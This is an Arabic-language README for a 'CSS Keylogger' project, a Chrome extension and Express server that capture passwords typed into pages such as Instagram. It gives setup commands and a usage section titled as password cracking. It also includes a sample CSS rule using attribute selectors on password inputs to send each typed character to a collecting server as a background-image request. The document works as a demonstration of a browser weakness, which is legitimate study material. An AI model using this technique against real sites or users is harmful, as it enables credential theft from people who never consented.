CSS Keylogger

إضافة كروم وخادم Express يستغل قدرات تسجيل المفاتيح في CSS.

للاستخدام

إعداد إضافة كروم

1. قم بتنزيل المستودع git clone https://github.com/maxchehab/CSS-Keylogging
2. افتح chrome://extensions في متصفحك (أو افتح قائمة كروم بالنقر على الأيقونة في أقصى يمين شريط العناوين: أيقونة القائمة هي ثلاثة خطوط أفقية، ثم اختر "الإضافات" من قائمة "المزيد من الأدوات" للوصول إلى نفس المكان).
3. تأكد من أن مربع "وضع المطور" في الزاوية اليمنى العلوية محدد.
4. انقر على "تحميل الإضافة غير المضغوطة…" لفتح مربع حوار اختيار الملف.
5. اختر مجلد css-keylogger-extension داخل الدليل الذي قمت بتنزيل المستودع فيه.

إعداد خادم Express

1. yarn
2. yarn start

اختراق كلمات المرور الخارقة

1. افتح موقعاً يستخدم إطار عمل تحكم بالمكونات مثل React، مثلاً https://instagram.com.
2. اضغط على الإضافة C في أعلى يمين أي صفحة ويب.
3. اكتب كلمة المرور الخاصة بك.
4. سيتم التقاط كلمة المرور بواسطة خادم Express.

كيف يعمل

هذا الهجوم بسيط جداً. باستخدام محددات السمات CSS، يمكن طلب موارد من خادم خارجي بحجة تحميل background-image.

على سبيل المثال، الـ CSS التالي سيختار جميع حقول الإدخال ذات type تساوي password و value تنتهي بـ a. ثم سيحاول تحميل صورة من http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

باستخدام سكربت بسيط يمكن إنشاء ملف CSS سيرسل طلباً مخصصاً لكل حرف ASCII.